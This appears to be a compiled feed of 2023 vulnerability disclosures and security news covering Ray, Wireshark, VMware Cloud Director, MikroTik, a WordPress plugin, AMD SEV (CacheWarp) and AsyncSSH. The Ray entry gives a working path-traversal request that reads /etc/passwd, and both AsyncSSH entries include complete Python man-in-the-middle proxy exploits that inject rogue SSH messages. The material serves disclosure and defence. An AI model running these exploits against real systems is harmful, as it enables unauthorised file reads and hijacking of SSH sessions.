LFI in Ray's /static/ directory allows attackers to read any file on the server without authentication.

**Description**

Local file include allows remote attackers to make an unauthenticated API call and read any file on the system, such as SSH keys.

**Proof of Concept**

    GET /static/js/../../../../../../../../../../../../../../etc/passwd HTTP/1.1
    Host: localhost:8265
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://localhost:8265/
    Sec-Fetch-Dest: script
    Sec-Fetch-Mode: no-cors
    Sec-Fetch-Site: same-origin
    
    HTTP/1.1 200 OK
    Content-Type: application/octet-stream
    Etag: "174880dae894b157-2020"
    Last-Modified: Thu, 02 Mar 2023 04:48:59 GMT
    Content-Length: 8224
    Accept-Ranges: bytes
    Date: Thu, 24 Aug 2023 23:01:58 GMT
    Server: Python/3.8 aiohttp/3.8.5
    Connection: close
    
    ##
    # User Database
    # 
    # Note that this file is consulted directly only when the system is running
    # in single-user mode.  At other times this information is provided by
    # Open Directory.
    #
    # See the opendirectoryd(8) man page for additional information about
    # Open Directory.
    ##
    nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
    root:*:0:0:System Administrator:/var/root:/bin/sh
    daemon:*:1:1:System Services:/var/root:/usr/bin/false
    fakeuser:*:99:99:Fake User:/Users/danmcinerney/fakeuser:/bin/sh
    _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
    _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
    [...]
    

**Impact**

Allows attackers to read any file on the server depending on the permissions Ray was run with.

**Occurrences**

CVE-2023-6020: LFI in Ray API - GET /static/ in ray

SSH dissector crash in Wireshark 4.0.0 to 4.0.10 allows denial of service via packet injection or crafted capture file

**Summary**

**Name:** SSH dissector crash

**Docid:** wnpa-sec-2023-28

**Date:** November 15, 2023

**Affected versions:** 4.0.0 to 4.0.10

**Fixed versions:** 4.0.11

**References:**

Wireshark issue 19369.

**Details****Description**

The SSH dissector could crash.

**Impact**

It may be possible to make Wireshark crash or consume excessive CPU resources by injecting a malformed packet onto the wire or by convincing someone to read a malformed packet trace file.

**Resolution**

Upgrade to Wireshark 4.0.11 or later.

CVE-2023-6174: Wireshark • wnpa-sec-2023-28 SSH dissector crash

VMware is warning of a critical and unpatched security flaw in Cloud Director that could be exploited by a malicious actor to get around authentication protections.
Tracked as CVE-2023-34060 (CVSS score: 9.8), the vulnerability impacts instances that have been upgraded to version 10.5 from an older version.
"On an upgraded version of VMware Cloud Director Appliance 10.5, a malicious actor with

Network Securit / Vulnerability

VMware is warning of a critical and unpatched security flaw in Cloud Director that could be exploited by a malicious actor to get around authentication protections.

Tracked as **CVE-2023-34060** (CVSS score: 9.8), the vulnerability impacts instances that have been upgraded to version 10.5 from an older version.

"On an upgraded version of VMware Cloud Director Appliance 10.5, a malicious actor with network access to the appliance can bypass login restrictions when authenticating on port 22 (ssh) or port 5480 (appliance management console)," the company said in an alert.

"This bypass is not present on port 443 (VCD provider and tenant login). On a new installation of VMware Cloud Director Appliance 10.5, the bypass is not present."

The virtualization services company further noted that the impact is due to the fact that it utilizes a version of sssd from the underlying Photon OS that is affected by CVE-2023-34060.

Dustin Hartle from IT solutions provider Ideal Integrations has been credited with discovering and reporting the shortcomings.

While VMware has yet to release a fix for the problem, it has provided a workaround in the form of a shell script ("WA\_CVE-2023-34060.sh").

It also emphasized implementing the temporary mitigation will neither require downtime nor have a side-effect on the functionality of Cloud Director installations.

The development comes weeks after VMware released patches for another critical flaw in the vCenter Server (CVE-2023-34048, CVSS score: 9.8) that could result in remote code execution on affected systems.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Urgent: VMware Warns of Unpatched Critical Cloud Director Vulnerability

MikroTik RouterOS v7.1 to 7.11 was discovered to contain incorrect access control mechanisms in place for the Rest API.

Recently, Mikrotik added a REST server as a new API for managing the router. It is a nice alternative to their proprietary API when automating RouterOS.

However, young software usually contains bugs. Sometimes, these bugs are security-related, and, together with not-so-safe defaults, they may create a vulnerability.

This vulnerability has been assigned the ID CVE-2023-41570.

**Background**

RouterOS (from Mikrotik) is a closed-source Linux-based operating system for network appliances, specifically switches, routers and firewalls. It is used in Mikrotik appliances (such as RouterBOARD), but it can be downloaded and installed on other devices and virtual machines.

The management interfaces of RouterOS include SSH, MAC-Telnet, Winbox (a proprietary Windows-only tool), Webfig (a web user interface), and a proprietary API (additionally, ISPs have also TR-069). Since version v7.1beta4, RouterOS also includes a REST server. The REST server is started as a sub-resource of Webfig at /rest. More information on the RouterOS REST API web page.

**Authentication**

RouterOS supports local and remote user authentication and authorization databases (via RADIUS). Users belong to _groups_, each with its own permissions set. The resulting permission set is additive – it is the sum of all permissions granted by groups.

By default, only the local database is used, and three groups are present: full, with unlimited access to the router; write, with almost complete access except for file transfer (to/from the router itself) and user policies, and read, with read-only access (plus reboot privileges). Also, by default, rest-api is a specific permission granted to all groups.

Users may be restricted to logging in only from specific IP addresses or networks.

**The vulnerability**

REST APIs are protected by HTTP Basic authentication. You should provide a valid username and password pair. The username must have the rest-api (which, by default, is granted to all groups).

The vulnerability lies in the fact that, while other interfaces (SSH, Webfig, etc.) check whether the user is authorized to log in from that specific IP address, this is not the case for the REST server. **Users can access the REST server from any IP address**, even if they are not authorized in the users’ database.

To exploit this vulnerability:

*   the attacker must have a username and password pair that has rest-api permission (but no permission to log in from the attacker IP address);
*   the firewall should allow access to the web user interface from the IP address of the attacker;
*   Webfig (the web UI) must be enabled: the REST server is part of Webfig.

Note that, by default, all groups have the rest-api permission (any user is allowed to use REST APIs), and Webfig is enabled. There is no way to disable the REST server, as it is integrated into Webfig. This is unexpected; usually, services like SSH or proprietary APIs are under the “IP” -> “Services” menu with their independent entry. At the very least, there should be a flag in the Webfig service www to enable the REST server selectively (defaulting off).

So, I think the majority of those who left Webfig active don’t realize that they are exposing the REST endpoint too, and that every user can access it, regardless of the IP filter configured in the user database.

To exacerbate the problem, the read group has some dangerous permissions: sniff (to intercept traffic), reboot, and sensitive (read sensitive information, such as Wi-Fi passwords or IPSec pre-shared keys). I certainly do not expect a “read” user to reboot the router.

**Mikrotik advisory and solution**

Mikrotik released RouterOS version 7.12 with the fix (the changelog contains only a generic reference to “www - fixed allowed address setting for REST API users”).

**Timeline**

I followed the responsible disclosure process described in the “Responsible disclosure of discovered vulnerabilities” page. I reported the vulnerability at 2023-08-19 09:46:00 UTC and received the ACK at 2023-08-24 07:43:00 UTC. The fix was released in version 7.12 at 2023-11-09 09:45:00 UTC (time point from RouterOS changelog).

CVE-2023-41570: CVE-2023-41570: Access Control vulnerability in MikroTik REST API

VMware Cloud Director Appliance contains an authentication bypass vulnerability in case VMware Cloud Director Appliance was upgraded to 10.5 from
an older version. On an upgraded version of VMware Cloud Director Appliance 10.5, a malicious actor with network access to the appliance can bypass login
restrictions when authenticating on port 22 (ssh) or port 5480 (appliance management console) . This bypass is not present on port 443 (VCD provider
and tenant login). On a new installation of VMware Cloud Director Appliance 10.5, the bypass is not present.

Advisory ID: VMSA-2023-0026

CVSSv3 Range: 9.8

Issue Date: 2023-11-14

Updated On: 2023-11-14 (Initial Advisory)

CVE(s): CVE-2023-34060

Synopsis: VMware Cloud Director Appliance contains an authentication bypass vulnerability (CVE-2023-34060).

****1\. Impacted Products****

*   VMware Cloud Director Appliance (VCD Appliance)
    

****2\. Introduction****

An authentication bypass vulnerability in VMware Cloud Director Appliance was privately reported to VMware. Updates are available to remediate this vulnerability in the affected VMware product.

****3a. Authentication Bypass Vulnerability (CVE-2023-34060)****

VMware Cloud Director Appliance contains an authentication bypass vulnerability in case VMware Cloud Director Appliance was upgraded to 10.5 from  
an older version. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.

On an upgraded version of VMware Cloud Director Appliance 10.5, a malicious actor with network access to the appliance can bypass login  
restrictions when authenticating on port 22 (ssh) or port 5480 (appliance management console) . This bypass is not present on port 443 (VCD provider  
and tenant login). On a new installation of VMware Cloud Director Appliance 10.5, the bypass is not present.

To remediate CVE-2023-34060 follow the guidance mentioned in KB95534 in the 'Fixed Version' column of the 'Response Matrix' found below.  

Only deployments that have upgraded to 10.5 from an older release are impacted by CVE-2023-34060. New deployments of 10.5 are not impacted by CVE-2023-34060. 

VMware Cloud Director Appliance is impacted by this vulnerability due to the underlying Photon OS: https://github.com/vmware/photon/wiki/Security-Advisories

VMware has determined other appliances to not be impacted by this vulnerability. 

Product

Version

Running On

CVE Identifier

CVSSv3

Severity

Fixed Version

Workarounds

Additional Documentation

VMware Cloud Director Appliance

10.5 if upgraded from 10.4.x or below.

Photon OS

CVE-2023-34060

9.8

critical

KB95534

N/A

None

VMware Cloud Director Appliance

10.5 new install

Photon OS

CVE-2023-34060

N/A

N/A

Unaffected

N/A

None

VMware Cloud Director Appliance

10.4.x and Below

Photon OS

CVE-2023-34060

N/A

N/A

Unaffected

N/A

None

****4\. References****

****5\. Change Log****

**2023-11-14 VMSA-2023-0026  
**Initial security advisory.

****6\. Contact****

CVE-2023-34060: VMSA-2023-0026

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in DenK BV Actueel Financieel Nieuws – Denk Internet Solutions plugin <= 5.1.0 versions.

**Solution**

 No fix

No patched version is available.

Nithissh S discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Actueel Financieel Nieuws – Denk Internet Solutions Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-47554: WordPress Actueel Financieel Nieuws – Denk Internet Solutions plugin <= 5.1.0 - Cross Site Scripting (XSS) vulnerability - Patchstack

A group of academics has disclosed a new "software fault attack" on AMD's Secure Encrypted Virtualization (SEV) technology that could be potentially exploited by threat actors to infiltrate encrypted virtual machines (VMs) and even perform privilege escalation.
The attack has been codenamed CacheWarp (CVE-2023-20592) by researchers from the CISPA Helmholtz Center for Information Security. It

Hardware Security / Virtualization

A group of academics has disclosed a new "software fault attack" on AMD's Secure Encrypted Virtualization (SEV) technology that could be potentially exploited by threat actors to infiltrate encrypted virtual machines (VMs) and even perform privilege escalation.

The attack has been codenamed **CacheWarp** (CVE-2023-20592) by researchers from the CISPA Helmholtz Center for Information Security. It impacts AMD CPUs supporting all variants of SEV.

"For this research, we specifically looked at AMD's newest TEE, AMD SEV-SNP, relying on the experience from previous attacks on Intel's TEE," security researcher Ruiyi Zhang told The Hacker News. "We found the 'INVD' instruction \[flush a processor's cache contents\] could be abused under the threat model of AMD SEV."

SEV, an extension to the AMD-V architecture and introduced in 2016, is designed to isolate VMs from the hypervisor by encrypting the memory contents of the VM with a unique key.

The idea, in a nutshell, is to shield the VM from the possibility that the hypervisor (i.e., the virtual machine monitor) could be malicious and thus cannot be trusted by default.

SEV-SNP, which incorporates Secure Nested Paging (SNP), adds "strong memory integrity protection to help prevent malicious hypervisor-based attacks like data replay, memory re-mapping, and more in order to create an isolated execution environment," according to AMD.

But CacheWarp, according to Zhang, makes it possible to defeat the integrity protections and achieve privilege escalation and remote code execution in the targeted virtual machine -

_The instruction \`INVD\` drops all the modified content in the cache without writing them back to the memory. Hence, the attacker can drop any writes of guest VMs and the VM continues with architecturally stale data. In the paper, we demonstrate that via two primitives, "timewarp" and "dropforge."_

_For the timewarp, we can reset what the computer has memorized as the next step. This makes the computer execute code that it executed before because it reads an outdated so-called return address from memory. The computer thus travels back in time. However, the old code is executed with new data (the return value of another function), which leads to unexpected effects. We use this method to bypass OpenSSH authentication, logging in without knowing the password._

_Another method, called "Dropforge," lets the attacker reset changes of guest VMs made to data. With one or multiple drops, the attacker can manipulate the logic flow of guest execution in an exploitable way. Take the \`sudo\` binary as an example, a return value is stored in the memory (stack) so that the attacker can reset it to an initial value. However, the initial value "0" gives us administrator privilege even when we are not._

_With this combination, we have unlimited access to the virtual machine._

Successful exploitation of the architectural bug could permit an attacker to hijack the control flow of a program by reverting to a previous state, and seize control of the VM. AMD has since released a microcode update to fix the "instruction misuse."

"A team of Google Project Zero and Google Cloud security has audited the newest version of AMD's TEE (SEV-SNP) last year," Zhang noted. "AMD also claims that SEV-SNP prevents all attacks on the integrity. However, our attack breaks the integrity of it."

CISPA researchers, earlier this August, also revealed a software-based power side-channel attack targeting Intel, AMD, and Arm CPUs dubbed Collide+Power (CVE-2023-20583) that could be weaponized to leak sensitive data by breaking isolation protections.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

CacheWarp Attack: New Vulnerability in AMD SEV Exposes Encrypted VMs

Netflix, Spotify, Twitter, PayPal, Slack. All down for millions of people. How a group of teen friends plunged into an underworld of cybercrime and broke the internet—then went to work for the FBI.

The Mirai Confessions: Three Young Hackers Who Built a Web-Killing Monster Finally Tell Their Story

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

**Summary**

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

**Details**

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

**PoC**AsyncSSH Client 2.14.0 (simple\_client.py example) connecting to AsyncSSH Server 2.14.0 (simple\_server.py example)

 #!/usr/bin/python3
 import socket
 from threading import Thread
 from binascii import unhexlify
 
 #####################################################################################
 \## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
 \##                                                                                 ##
 \## Client(s) tested: AsyncSSH 2.14.0 (simple\_client.py example)                    ##
 \## Server(s) tested: AsyncSSH 2.14.0 (simple\_server.py example)                    ##
 \##                                                                                 ##
 \## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
 #####################################################################################
 
 \# IP and port for the TCP proxy to bind to
 PROXY\_IP \= '127.0.0.1'
 PROXY\_PORT \= 2222
 
 \# IP and port of the server
 SERVER\_IP \= '127.0.0.1'
 SERVER\_PORT \= 22
 
 \# Length of the individual messages
 NEW\_KEYS\_LENGTH \= 16
 SERVER\_EXT\_INFO\_LENGTH \= 676
 
 newkeys\_payload \= b'\\x00\\x00\\x00\\x0c\\x0a\\x15'
 def contains\_newkeys(data):
     return newkeys\_payload in data
 
 \# Empty EXT\_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
 rogue\_ext\_info \= unhexlify('0000000C060700000000000000000000')
 def insert\_rogue\_ext\_info(data):
     newkeys\_index \= data.index(newkeys\_payload)
     \# Insert rogue extension info and remove SSH\_MSG\_EXT\_INFO
     return data\[:newkeys\_index\] + rogue\_ext\_info + data\[newkeys\_index:newkeys\_index + NEW\_KEYS\_LENGTH\] + data\[newkeys\_index + NEW\_KEYS\_LENGTH + SERVER\_EXT\_INFO\_LENGTH:\]
 
 def forward\_client\_to\_server(client\_socket, server\_socket):
     try:
         while True:
             client\_data \= client\_socket.recv(4096)
             if len(client\_data) \== 0:
                 break
             server\_socket.send(client\_data)
     except ConnectionResetError:
         print("\[!\] Client connection has been reset. Continue closing sockets.")
     print("\[!\] forward\_client\_to\_server thread ran out of data, closing sockets!")
     client\_socket.close()
     server\_socket.close()
 
 def forward\_server\_to\_client(client\_socket, server\_socket):
     try:
         while True:
             server\_data \= server\_socket.recv(4096)
             if contains\_newkeys(server\_data):
                 print("\[+\] SSH\_MSG\_NEWKEYS sent by server identified!")
                 if len(server\_data) < NEW\_KEYS\_LENGTH + SERVER\_EXT\_INFO\_LENGTH:
                     print("\[+\] server\_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
                 while len(server\_data) < NEW\_KEYS\_LENGTH + SERVER\_EXT\_INFO\_LENGTH:
                     server\_data += server\_socket.recv(4096)
                 print(f"\[d\] Original server\_data before modification: {server\_data.hex()}")
                 server\_data \= insert\_rogue\_ext\_info(server\_data)
                 print(f"\[d\] Modified server\_data with rogue extension info: {server\_data.hex()}")
             if len(server\_data) \== 0:
                 break
             client\_socket.send(server\_data)
     except ConnectionResetError:
         print("\[!\] Target connection has been reset. Continue closing sockets.")
     print("\[!\] forward\_server\_to\_client thread ran out of data, closing sockets!")
     client\_socket.close()
     server\_socket.close()
 
 if \_\_name\_\_ \== '\_\_main\_\_':
     print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---")
     mitm\_socket \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
     mitm\_socket.bind((PROXY\_IP, PROXY\_PORT))
     mitm\_socket.listen(5)
 
     print(f"\[+\] MitM Proxy started. Listening on {(PROXY\_IP, PROXY\_PORT)} for incoming connections...")
 
     try:
         while True:
             client\_socket, client\_addr \= mitm\_socket.accept()
             print(f"\[+\] Accepted connection from: {client\_addr}")
             print(f"\[+\] Establishing new server connection to {(SERVER\_IP, SERVER\_PORT)}.")
             server\_socket \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
             server\_socket.connect((SERVER\_IP, SERVER\_PORT))
             print("\[+\] Spawning new forwarding threads to handle client connection.")
             Thread(target\=forward\_client\_to\_server, args\=(client\_socket, server\_socket)).start()
             Thread(target\=forward\_server\_to\_client, args\=(client\_socket, server\_socket)).start()
     except KeyboardInterrupt:
         client\_socket.close()
         server\_socket.close()
         mitm\_socket.close()

**Impact**

Algorithm downgrade during user authentication.

CVE-2023-46445: Rogue Extension Negotiation in AsyncSSH

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

**Summary**

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.

**Details**

The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.

The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.

**PoC**AsyncSSH 2.14.0 client (simple\_client.py example) connecting to AsyncSSH 2.14.0 server (simple\_server.py example)

#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
from time import sleep

##################################################################################
\## Proof of Concept for the rogue session attack (ChaCha20-Poly1305)            ##
\##                                                                              ##
\## Variant: Unmodified variant (EXT\_INFO by client required)                    ##
\##                                                                              ##
\## Client(s) tested: AsyncSSH 2.14.0 (simple\_client.py example)                 ##
\## Server(s) tested: AsyncSSH 2.14.0 (simple\_server.py example)                 ##
\##                                                                              ##
\## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
##################################################################################

\# IP and port for the TCP proxy to bind to
PROXY\_IP \= '127.0.0.1'
PROXY\_PORT \= 2222

\# IP and port of the server
SERVER\_IP \= '127.0.0.1'
SERVER\_PORT \= 22

\# Length of the individual messages
NEW\_KEYS\_LENGTH \= 16
CLIENT\_EXT\_INFO\_LENGTH \= 60
\# Additional data sent by the client after NEW\_KEYS (excluding EXT\_INFO)
ADDITIONAL\_CLIENT\_DATA\_LENGTH \= 60

newkeys\_payload \= b'\\x00\\x00\\x00\\x0c\\x0a\\x15'
def contains\_newkeys(data):
    return newkeys\_payload in data

rogue\_userauth\_request \= unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')
def insert\_rogue\_authentication\_request(data):
    newkeys\_index \= data.index(newkeys\_payload)
    \# Insert rogue authentication request and remove SSH\_MSG\_EXT\_INFO
    return data\[:newkeys\_index\] + rogue\_userauth\_request + data\[newkeys\_index:newkeys\_index + NEW\_KEYS\_LENGTH\] + data\[newkeys\_index + NEW\_KEYS\_LENGTH + CLIENT\_EXT\_INFO\_LENGTH:\]

def forward\_client\_to\_server(client\_socket, server\_socket):
    delay\_next \= False
    try:
        while True:
            client\_data \= client\_socket.recv(4096)
            if delay\_next:
                delay\_next \= False
                sleep(0.25)
            if contains\_newkeys(client\_data):
                print("\[+\] SSH\_MSG\_NEWKEYS sent by client identified!")
                if len(client\_data) < NEW\_KEYS\_LENGTH + CLIENT\_EXT\_INFO\_LENGTH + ADDITIONAL\_CLIENT\_DATA\_LENGTH:
                    print("\[+\] client\_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!")
                while len(client\_data) < NEW\_KEYS\_LENGTH + CLIENT\_EXT\_INFO\_LENGTH + ADDITIONAL\_CLIENT\_DATA\_LENGTH:
                    client\_data += client\_socket.recv(4096)
                print(f"\[d\] Original client\_data before modification: {client\_data.hex()}")
                client\_data \= insert\_rogue\_authentication\_request(client\_data)
                print(f"\[d\] Modified client\_data with rogue authentication request: {client\_data.hex()}")
                delay\_next \= True
            if len(client\_data) \== 0:
                break
            server\_socket.send(client\_data)
    except ConnectionResetError:
        print("\[!\] Client connection has been reset. Continue closing sockets.")
    print("\[!\] forward\_client\_to\_server thread ran out of data, closing sockets!")
    client\_socket.close()
    server\_socket.close()

def forward\_server\_to\_client(client\_socket, server\_socket):
    try:
        while True:
            server\_data \= server\_socket.recv(4096)
            if len(server\_data) \== 0:
                break
            client\_socket.send(server\_data)
    except ConnectionResetError:
        print("\[!\] Target connection has been reset. Continue closing sockets.")
    print("\[!\] forward\_server\_to\_client thread ran out of data, closing sockets!")
    client\_socket.close()
    server\_socket.close()

if \_\_name\_\_ \== '\_\_main\_\_':
    print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---")
    mitm\_socket \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
    mitm\_socket.bind((PROXY\_IP, PROXY\_PORT))
    mitm\_socket.listen(5)

    print(f"\[+\] MitM Proxy started. Listening on {(PROXY\_IP, PROXY\_PORT)} for incoming connections...")

    try:
        while True:
            client\_socket, client\_addr \= mitm\_socket.accept()
            print(f"\[+\] Accepted connection from: {client\_addr}")
            print(f"\[+\] Establishing new server connection to {(SERVER\_IP, SERVER\_PORT)}.")
            server\_socket \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
            server\_socket.connect((SERVER\_IP, SERVER\_PORT))
            print("\[+\] Spawning new forwarding threads to handle client connection.")
            Thread(target\=forward\_client\_to\_server, args\=(client\_socket, server\_socket)).start()
            Thread(target\=forward\_server\_to\_client, args\=(client\_socket, server\_socket)).start()
    except KeyboardInterrupt:
        client\_socket.close()
        server\_socket.close()
        mitm\_socket.close()

**Impact**

The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.

Tag

#ssh